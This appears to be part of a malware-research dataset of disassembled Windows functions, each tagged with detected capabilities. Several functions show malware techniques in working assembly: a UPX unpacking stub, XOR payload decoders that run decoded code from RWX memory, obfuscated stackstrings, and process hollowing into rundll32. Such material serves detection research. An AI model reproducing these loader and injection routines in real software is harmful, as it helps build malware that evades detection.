joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42f900
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1d000]
push edi
or ebp, 0xffffffff
jmp 0x42f922
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42f929
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42f918
mov eax, 1
add ebx, ebx
jne 0x42f93b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42f930
jne 0x42f94c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42f930
xor ecx, ecx
sub eax, 3
jb 0x42f960
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42f9d2
mov ebp, eax
add ebx, ebx
jne 0x42f96b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42f978
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42f99c
inc ecx
add ebx, ebx
jne 0x42f988
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42f97d
jne 0x42f999
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42f97d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42f9bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42f9ad
jmp 0x42f91e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42f9bc
add edi, ecx
jmp 0x42f91e
pop esi
mov edi, esi
mov ecx, 0x966
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42f9da
cmp byte [edi], 0x11
jne 0x42f9da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42f9df
lea edi, [esi + 0x2d000]
mov eax, dword [edi]
or eax, eax
je 0x42fa57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2f53c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2f62c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42fa0c
mov ecx, edi
jns 0x42fa3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2f630]
or eax, eax
je 0x42fa51
mov dword [ebx], eax
add ebx, 4
jmp 0x42fa29
call dword [esi + 0x2f634]
popal
jmp 0x41b275
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0xecfd50
Capabilities:
Encode data using xor

Disassembly:
jmp 0xecfd5a
pushal
call 0xecfd60
pop ebp
sub ebp, 0x10
sub ebp, 0xacfd50
jmp 0xecfd76
mov eax, 0xacfd50
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b8
mov edx, 0x323c1142
xor byte [eax], dl
inc eax
dec ecx
jne 0xecfd8d
jmp 0xecfda0
leave
invalid
Function at 0x412310
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4cf084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 0x10], eax
push edi
mov edi, dword [ebp + 0x1c]
mov eax, dword [esi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp byte [ebp + 0x18], 0
push 0
je 0x412364
mov ecx, dword [esi + 4]
push 0
push edi
call fcn.004124a0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00477136
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [ebx]
cmp ecx, 0xffffffff
jne 0x41238c
mov ecx, dword [esi + 4]
push 0x2719
push edi
call fcn.004124a0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00477136
mov esp, ebp
pop ebp
ret 0x18
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_WSARecv]
mov ebx, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
jne 0x4123c3
mov eax, 0x2746
jmp 0x4123d0
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test ebx, ebx
je 0x4123fb
cmp eax, 0x3e5
je 0x4123fb
push dword [ebp - 8]
mov ecx, dword [esi + 4]
push eax
push edi
call fcn.004124a0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00477136
mov esp, ebp
pop ebp
ret 0x18
mov ecx, dword [esi + 4]
push edi
call fcn.00412520
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00477136
mov esp, ebp
pop ebp
ret 0x18
Function at 0x458a64
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x458a9f
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x458a86
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x458a97
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x458aa1
inc edi
add eax, 0x28
cmp edi, esi
jb 0x458a7c
xor eax, eax
pop edi
pop esi
ret

Function at 0x458ae0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add al, 3
inc esp
and al, 0xc
inc edi
pop esp
mov edi, dword [ebp + 8]
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x78]
call fcn.00458a24
jecxz 0x458b65
inc ebp
in al, 0x56
push ebx
call fcn.00458a64
pop ecx
test eax, eax
pop ecx
je 0x458bb7
push edi
push esi
push ebx
call fcn.00458aa4
add esp, 0xc
call fcn.00458a24
aas
sbb byte [ebx + 0x66], cl
mov esi, dword [esi + 0x78]
test esi, esi
je 0x458bb7
mov ebx, dword [esi + edi + 0x24]
add esi, edi
add ebx, edi
call fcn.00458a24
in eax, 0xe8
inc edi
jae 0x458ac3
inc esi
and byte [ebx], al
invalid
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
call fcn.00458a24
pop ecx
jecxz 0x458bc4
enter 0x7d83, 0xfffffffffffffff0
add byte [ebx + eax*2 - 0x75], dh
inc ebp
in al, dx
and dword [ebp - 0x10], 0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, dword [ebp - 4]
jne 0x458b97
mov eax, dword [ebp - 0xc]
push dword [ebp + 0xc]
mov eax, dword [eax]
add eax, dword [ebp + 8]
push eax
call fcn.004589ba
pop ecx
test eax, eax
pop ecx
je 0x458bbe
mov eax, dword [esi + 0x18]
inc dword [ebp - 0x10]
add dword [ebp - 8], 2
add dword [ebp - 0xc], 4
dec eax
cmp dword [ebp - 0x10], eax
jbe 0x458b75
mov eax, dword [esi + 0x14]
inc dword [ebp - 4]
dec eax
cmp dword [ebp - 4], eax
jbe 0x458b54
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 4]
mov eax, dword [edi + eax*4]
jmp 0x458bfb
add eax, dword [ebp + 8]
jmp 0x458bb9

Function at 0x459e9f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.00458a24
xchg ecx, eax
add dh, byte [eax]
jmp fcn.00459e9f
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x10001050
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push 0x44
lea eax, [ebp - 0x5c]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x5c], 0x44
call fcn.100011a0
test eax, eax
je 0x1000115e
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
push 0
push 0x1000044
push 1
push 0
push 0
push 0x1000420c
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100010cc
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x44
push 1
push 0
push 0
push str.rundll32.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000115e
mov dword [ebp - 0x328], 0x10003
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x1000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
push 0
push 0x1000
push section..data
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x270], ecx
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x10001a20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov dword [esi], 0
lea esp, [esp]
mov eax, dword [esi]
mov edx, dword [ebp + 8]
mov ecx, edi
sub ecx, eax
push ecx
add eax, edx
push eax
mov eax, dword [ebx + 0x14]
push eax
call dword [sym.imp.MSVCR120.dll__read]
add esp, 0xc
test eax, eax
jle 0x10001a56
add dword [esi], eax
cmp dword [esi], edi
jb 0x10001a30
test eax, eax
jge 0x10001a78
call dword [sym.imp.MSVCR120.dll__errno]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVCR120.dll_strerror]
push eax
push 0xffffffffffffffff
push ebx
call fcn.10001030
add esp, 0x10
or eax, 0xffffffff
pop ebp
ret
test eax, eax
jne 0x10001a83
mov dword [ebx + 0x40], 1
xor eax, eax
pop ebp
ret
Function at 0x1000bcb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ed758
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1011b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x40], 0
je 0x1000bcf0
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000bcfc
mov al, 1
jmp 0x1000bea1
mov dword [ebp - 0x54], 8
call fcn.10008da0
push eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.10008da0
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.10008d20
add esp, 8
movzx eax, al
test eax, eax
je 0x1000bd3f
xor al, al
jmp 0x1000bea1
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000b100
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x28]
call fcn.1000b3b0
mov ecx, eax
call fcn.1000c000
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.1000b3e0
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000b3b0
mov ecx, eax
call fcn.1000c000
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x48
push ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x40]
call dword [sym.imp.MSVCP120.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x1000bdbb
cmp dword [ebp - 0x38], 1
je 0x1000bdc2
cmp dword [ebp - 0x38], 3
je 0x1000be5d
jmp 0x1000be75
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x45], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.1000b3b0
mov ecx, eax
call fcn.1000c000
mov edx, dword [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x34], edx
je 0x1000be26
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000b3b0
mov ecx, eax
call fcn.1000c000
push eax
call dword [sym.imp.MSVCR120.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x1000be26
mov byte [ebp - 0x2f], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a070
mov al, byte [ebp - 0x2f]
jmp 0x1000bea1
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000be49
mov byte [ebp - 0x30], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a070
mov al, byte [ebp - 0x30]
jmp 0x1000bea1
cmp dword [ebp - 0x34], 0
jne 0x1000be5b
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000b1c0
jmp 0x1000be8d
mov byte [ebp - 0x2e], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a070
mov al, byte [ebp - 0x2e]
jmp 0x1000bea1
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a070
mov al, byte [ebp - 0x2d]
jmp 0x1000bea1
jmp 0x1000bd52
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ec36e
mov esp, ebp
pop ebp
ret
Function at 0x10015500
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x1011b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x198], ecx
mov eax, dword [ebp - 0x198]
mov dword [eax + 0x10], 0
push 0x100f8314
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0x198]
mov dword [ecx + 0xc], eax
mov edx, dword [ebp - 0x198]
cmp dword [edx + 0xc], 0
jne 0x1001554b
jmp 0x10015646
push str.IcmpCreateFile
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x198]
mov dword [edx], eax
push str.IcmpCloseHandle
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x198]
mov dword [edx + 4], eax
push str.IcmpSendEcho
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x198]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x198]
cmp dword [eax], 0
je 0x100155c7
mov ecx, dword [ebp - 0x198]
cmp dword [ecx + 4], 0
je 0x100155c7
mov edx, dword [ebp - 0x198]
cmp dword [edx + 8], 0
jne 0x100155d9
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10015646
lea edx, [ebp - 0x194]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
je 0x10015612
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10015646
movzx edx, word [ebp - 0x194]
cmp edx, 0x101
je 0x10015639
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10015646
mov edx, dword [ebp - 0x198]
mov dword [edx + 0x10], 1
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ec36e
mov esp, ebp
pop ebp
ret
Function at 0x10015680
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ecx
mov byte [ebp - 4], 0
xor eax, eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0xc]
cmp dword [ecx + 0x10], 0
jne 0x100156a6
xor eax, eax
jmp 0x10015781
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x100156c8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
jmp 0x100156d9
push 2
push 4
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10015709
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2afc
jne 0x10015705
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10015703
xor eax, eax
jmp 0x10015781
jmp 0x10015709
xor eax, eax
jmp 0x10015781
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
call ecx
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x1c], 0xff
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0x1a], 0
mov byte [ebp - 0x19], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x34], 0
mov edx, dword [ebp + 0xc]
push edx
push 0x1c
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 8]
call eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x34], 0
je 0x10015770
xor eax, eax
jmp 0x10015781
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
call ecx
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x10018580
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ee25b
mov eax, dword fs:[0]
push eax
sub esp, 0x108
mov eax, dword [0x1011b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push eax
call sym.COMMON.dll_public:_static_bool___cdecl_CFileOperation::IsFileExist_wchar_t_const__
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x100185c5
mov al, 1
jmp 0x10018700
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x28]
call fcn.10014010
mov dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x40]
push ecx
call sym.COMMON.dll_public:_static_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_CFileOperation::GetFileDir_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__
add esp, 8
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
mov dword [ebp - 0x64], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x64]
push eax
call sym.COMMON.dll_public:_static_bool___cdecl_CFileOperation::MakeLocalDir_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t___const__
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x10018611
mov dword [ebp - 0x60], 1
jmp 0x10018618
mov dword [ebp - 0x60], 0
mov dl, byte [ebp - 0x60]
mov byte [ebp - 0x5a], dl
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.1000a1c0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a1c0
movzx eax, byte [ebp - 0x5a]
test eax, eax
je 0x10018648
xor al, al
jmp 0x10018700
push 1
push 0x40
push 2
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x114]
call fcn.1001d260
mov dword [ebp - 4], 2
mov edx, dword [ebp - 0x114]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x114]
call dword [sym.imp.MSVCP120.dll_public:_bool___thiscall_std::ios_base::fail_void_const]
movzx ecx, al
test ecx, ecx
je 0x100186d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x100186b6
push 0x100f8518
lea edx, [ebp - 0x58]
push edx
call fcn.100180b0
add esp, 8
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
call fcn.1000a260
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea ecx, [ebp - 0x58]
call fcn.1000a1c0
mov byte [ebp - 0x5b], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.10018720
mov al, byte [ebp - 0x5b]
jmp 0x10018700
mov byte [ebp - 0x59], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.10018720
mov al, byte [ebp - 0x59]
jmp 0x10018700
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ec36e
mov esp, ebp
pop ebp
ret
Function at 0x1001bff0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov eax, dword [0x1011b040]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x204], ax
push 0x1fe
push 0
lea ecx, [ebp - 0x202]
push ecx
call sub.MSVCR120.dll_memset
add esp, 0xc
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x228], esp
mov edx, dword [ebp + 0xc]
push edx
call fcn.10009f50
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x21c]
push eax
call sym.COMMON.dll_public:_static_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_CStrOperation::ToBase64String_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___
add esp, 0x1c
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x220], ecx
mov ecx, dword [ebp - 0x220]
call fcn.1000d8c0
push eax
mov edx, dword [ebp + 8]
push edx
push 0x100f85e8
push 0x100
lea eax, [ebp - 0x204]
push eax
call fcn.10017c90
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.1000a070
push 5
push 0
push 0
lea ecx, [ebp - 0x204]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
